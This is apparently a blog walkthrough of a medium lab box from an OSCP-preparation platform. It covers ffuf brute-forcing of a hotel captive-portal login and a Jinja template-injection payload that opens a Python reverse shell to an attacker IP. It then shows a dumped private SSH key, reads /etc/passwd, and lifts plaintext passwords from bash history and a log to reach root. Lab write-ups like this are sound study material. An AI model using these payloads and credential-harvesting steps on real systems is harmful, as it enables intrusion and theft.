Post cover image

August 13, 2026

Casino | HackSmarter | OSCP Preparation

Box: Casino Difficulty: Medium Note: Much thanks to Tyler for giving me free access to the platform to help me prepare for the OSCP !

By SilentExploit

5 min read

We are given the IP address and told that we are performing a penetration test via the company's captive WIFI portal.

None

The question to ask is; what does this page do ? It logs you in if your room number matches the guest name associated with the booking.The room numbers start at 101. After testing a few methods (including basic SQL injection); I decided to see if we could brute force our way in.

Firstly, I made a list of hotel room numbers going from 101 to 304.

┌──(root㉿user)-[/run/…/user/2024/HTBox/casino]
└─# seq  101 304 > rooms

┌──(root㉿user)-[/run/…/user/2024/HTBox/casino]
└─# head rooms
101
102
103
104
105
106
107
108
109
110

I then used ffuf to brute force the captive portal page with the following syntax:

┌──(root㉿user)-[/run/…/user/2024/HTBox/casino]
└─# ffuf -X POST -u http://10.1.111.195/login -w ./rooms:ROOMS -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -H 'Content-Type: application/x-www-form-urlencoded' -d 'room_number=ROOMS&last_name=FUZZ' -fr 'Authentication failed. No active reservation matching room and last name.'

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://10.1.111.195/login
 :: Wordlist         : ROOMS: /run/media/user/2024/HTBox/casino/rooms
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : room_number=ROOMS&last_name=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Authentication failed. No active reservation matching room and last name.
________________________________________________

[Status: 302, Size: 207, Words: 18, Lines: 6, Duration: 107ms]
    * FUZZ: thomas
    * ROOMS: 178

[Status: 302, Size: 207, Words: 18, Lines: 6, Duration: 107ms]
    * FUZZ: martin
    * ROOMS: 194

[Status: 302, Size: 207, Words: 18, Lines: 6, Duration: 111ms]
    * FUZZ: scott
    * ROOMS: 261

[Status: 302, Size: 207, Words: 18, Lines: 6, Duration: 111ms]
    * FUZZ: jackson
    * ROOMS: 193

[Status: 302, Size: 207, Words: 18, Lines: 6, Duration: 116ms]
    * FUZZ: miller
    * ROOMS: 138

This reveals a successful login is now available for a number of users / rooms.

I decided to login as Karen Martin in room 194; the landing pages appeared identical for all the users so I didn't pay much attention to which guest I was targeting during this stage.

None

I instantly knew that this web application was written in Python by the optics. Having done CTFs for a number of years it kind of came instantly BUT this could also be confirmed conclusively by examining the headers in Burpsuite.

None

Server Side Template Injection (SSTI) was the attack vector that first came to mind. This occurs when un-sanitized user input is directly embedded into a server-side template engine, causing it to execute the input as executable code rather than plain text.

I found that we could change the user's display name and tested this as our user input for a classic SSTI payload{{7*7}}:

None

Our SSTI payload has evaluated to 49 in the user's 'name' field; this means that the template engine executed our input as code ! Now you could experiment with file read but I decided to go straight for a reverse shell using the following:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.200.81.104\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

Shell as www-data

┌──(root㉿user)-[/run/…/user/2024/HTBox/casino]
└─# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.200.81.104] from (UNKNOWN) [10.1.111.195] 57648
bash: cannot set terminal process group (66): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
www-data@25b1e96b1b04:/app/app$ whoami
whoami
www-data

There are two other users on the system with a shell: David and George.

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<SNIP>
george:x:1000:1000::/home/george:/bin/bash
david:x:1001:1001::/home/david:/bin/bash

George has a SSH key in his home directory that is readable.

www-data@25b1e96b1b04:/home/george/.ssh$ ls -la
ls -la
total 20
drwxr-xr-x 2 george george 4096 Aug 13 21:10 .
drwxr-xr-x 3 george george 4096 Aug 13 21:10 ..
-rw-r--r-- 1 george george  399 Aug 13 21:10 authorized_keys
-rw-r--r-- 1 george george 1823 Aug 13 21:10 id_rsa
-rw-r--r-- 1 george george  399 Aug 13 21:10 id_rsa.pub
www-data@25b1e96b1b04:/home/george/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA16Quh0KHcBXTAmcI1SKCVyACD+qhoLdCRCzvfmYJr9Io7pYDBkso
t6xVL0vLRP73PVTvQVqYec5AnvM4Mq3zatWxKmV9Szltk5lxMbWEXeDhZcUlnUcyQhGuxG
L7G2CR3g6erJaLGDSt0L1HEnsMoAVNLdk/II8xZICnpl+wGoMIdWGoZkqGJvoiGNlOMs3I
4KZau7CCNkP1KtNHbZxN8pQxEnUBnM9lQ281lhZ1wJkrTYLT5KC4XEXWMc+PX2DFpbsork
TV0VUln6+YlAxuaNX1lhna16L80Ps2HiabjmPqgg8Dgu59WAWvPo/VxNq3WJvz5LmzZy35
mKrubKnl4QAAA8hGJ6d8RienfAAAAAdzc2gtcnNhAAABAQDXpC6HQodwFdMCZwjVIoJXIA
IP6qGgt0JELO9+Zgmv0ijulgMGSyi3rFUvS8tE/vc9VO9BWph5zkCe8zgyrfNq1bEqZX1L
OW2TmXExtYRd4OFlxSWdRzJCEa7EYvsbYJHeDp6slosYNK3QvUcSewygBU0t2T8gjzFkgK
emX7Aagwh1YahmSoYm+iIY2U4yzcjgplq7sII2Q/Uq00dtnE3ylDESdQGcz2VDbzWWFnXA
mStNgtPkoLhcRdYxz49fYMWluyiuRNXRVSWfr5iUDG5o1fWWGdrXovzQ+zYeJpuOY+qCDw
OC7n1YBa8+j9XE2rdYm/PkubNnLfmYqu5sqeXhAAAAAwEAAQAAAQBrDj9rN0Q2CR+w2aYw
6ej7iBB+BmYne9OSNRzRC6dTemqHyEHIJhgY152S1XYc0te7wybksy1vi03Zm7YSsvld2K
kT+z6w0dnspQjlPNByKuq7s5xw8J+q3Ux+gwVXGiJQs8FivXpgkgaY0t8t9ZjW+MrQMEJ+
z5gd5SFWH7s17V3u2rQAjjD8ujQewIGo3Wj43XlW4KUtDPJTnDkojiMsA55Sf0sKxn6FE4
/P0NOVCg6ScXQVmZTDUlEncqT8MSz6YFP4gpLtMfkjBKpEZet23oKGrjw67apf3Xxt88WP
O+AiZcTYPCU1hlWNnkLmvMkUtA3KY/edRjQEUHWBdMABAAAAgQDjbKkUfkTPoX45jcI3YE
mCCHmTspOYxDnXZQ6HKicXv6nGY6wkQ6XcnHrZNDpx/GTp1qH3Q+r6w3UUBI0Pf4BHf3IG
o/T1Fly7mUUuCXUZjU9BaC9Io4tyv+aAekUqW1nqWTap6orWXeFmCGTtUhgmxCvmloSoEk
U8ZbGcBZbVrAAAAIEA98COhJs/lQ1KsA8JB/BYa+j7VKqwZVtpTLXYYFqbECC6gMxAq97j
fS3E2f3+zowtrySKpZLgg+kk8heGIKiJqQGVoyVUzycQwmK3o2Kp+YLa40Qb/uajbuLx6l
MvJziFm/uo/wbYDh2mDcx7FCMfbWpGRyevAl5zT6ZDy6LYEaEAAACBAN7R9q5/7mpPiq20
C5DnAXc6t6iO0C3eTKhToVs7/O6N4OiwOUOY5bpLh9M6LCWNsgTHl6JFzzr1HlaGJVRpfp
ngB3JUc86lMWQkoDue6JhMkQ9iSd/l14rNTkAvDHNeGlyjbtX7y+1Lh6POdI46kO2D2mhU
KRQZzfpfI0QibexBAAAAEXJvb3RAMjViMWU5NmIxYjA0AQ==
-----END OPENSSH PRIVATE KEY-----

You CAN login via SSH as George but if you try to authenticate on default port 22; it will fail. Reason being, there is a second SSH service running on port 2222 that you need to authenticate to (any basic port scan on the target should confirm these two ports are open).

─(root㉿user)-[/run/…/user/2024/HTBox/casino]
└─# ssh -i id_rsa george@10.1.111.195 -p 2222
The authenticity of host '[10.1.111.195]:2222 ([10.1.111.195]:2222)' can't be established.
ED25519 key fingerprint is: SHA256:TF+GAFGmxDZ9jQQKJMaZoJ/D+UdsPgR9P2sa6YiJswM
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.1.111.195]:2222' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux 25b1e96b1b04 7.0.0-1010-aws #10~24.04.1-Ubuntu SMP PREEMPT Mon Jul 27 17:41:33 UTC 2026 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
george@25b1e96b1b04:~$ id
uid=1000(george) gid=1000(george) groups=1000(george)

Next, whilst going through the George's home directory we found a very busy /.bash_history file. This is basically the command history for the George and gives us a bunch of interesting avenues.

/home/george$ cat .bash_history                      cat .bash_history
cat .bash_history
cd /var/www/app
ls -la
systemctl status gunicorn
python3 -m pip install -r requirements.txt
tail -f /var/log/syslog
cat /etc/netplan/01-netcfg.yaml
uptime
htop
ifconfig
netstat -tulpn
cd /etc/ssh/
cat sshd_config | grep -v '^#'
cd /home/george
ls -la
ssh-keygen -t rsa -b 2048
cat .ssh/id_rsa.pub >> .ssh/authorized_keys
chmod 644 .ssh/id_rsa
sudo systemctl restart ssh
w
whoami
df -h
free -m
su david
DavidPass2026!#
exit
history -c
mysql -u david -p'DavidPass2026!#' -h 127.0.0.1 resort_db
cd /opt/
ls -la
cat /var/log/provisioning.log
echo "Restarting service..."
python3 app.py
ps aux | grep python
curl http://127.0.0.1/api/v1/rooms/status
curl http://127.0.0.1/login
clear
date
ping -c 4 8.8.8.8
dig hacksmarter.sec
cat /etc/hosts
sudo ufw status
traceroute 10.40.0.1
cd ~

Shell as David

We can see that David's password appears to have been passed as plain text in bash history: DavidPass2026!#

www-data@25b1e96b1b04:/home/george$ su david
su david
Password: DavidPass2026!#

david@25b1e96b1b04:/home/george$ whoami
whoami
david

Privilege Escalation

As the /.bash_history file for George was extensive. I went through many parts of it i.e. using curl to contact the local host API to check the rooms status amongst other things but when I came across /var/log/provisioning.log I saw that we had a plain text credential !

david@25b1e96b1b04:/home/george$ cat /var/log/provisioning.log

2026-08-01 03:14:02 [INFO] Starting automated cluster provisioning for Hack Smarter World host node...
2026-08-01 03:14:15 [INFO] Configuring network interfaces eth0 (VLAN 402)...
2026-08-01 03:14:22 [INFO] Initializing MariaDB production instance...
2026-08-01 03:14:28 [INFO] Seeding resort guest database tables...
2026-08-01 03:14:30 [SUCCESS] Applied security policy for root access.
2026-08-01 03:14:31 [DEBUG] Saved system root sync credential: R3s0rt_Sup3r_S3cr3t_R00t_2026!
2026-08-01 03:14:35 [INFO] Generating SSH host key certificates...
2026-08-01 03:14:45 [INFO] Deployment completed successfully.

This password will allow you to authenticate as the root user

david@25b1e96b1b04:/home/george$ su root                                su root
su root
Password: R3s0rt_Sup3r_S3cr3t_R00t_2026!

root@25b1e96b1b04:/home/george# id    id
id
uid=0(root) gid=0(root) groups=0(root)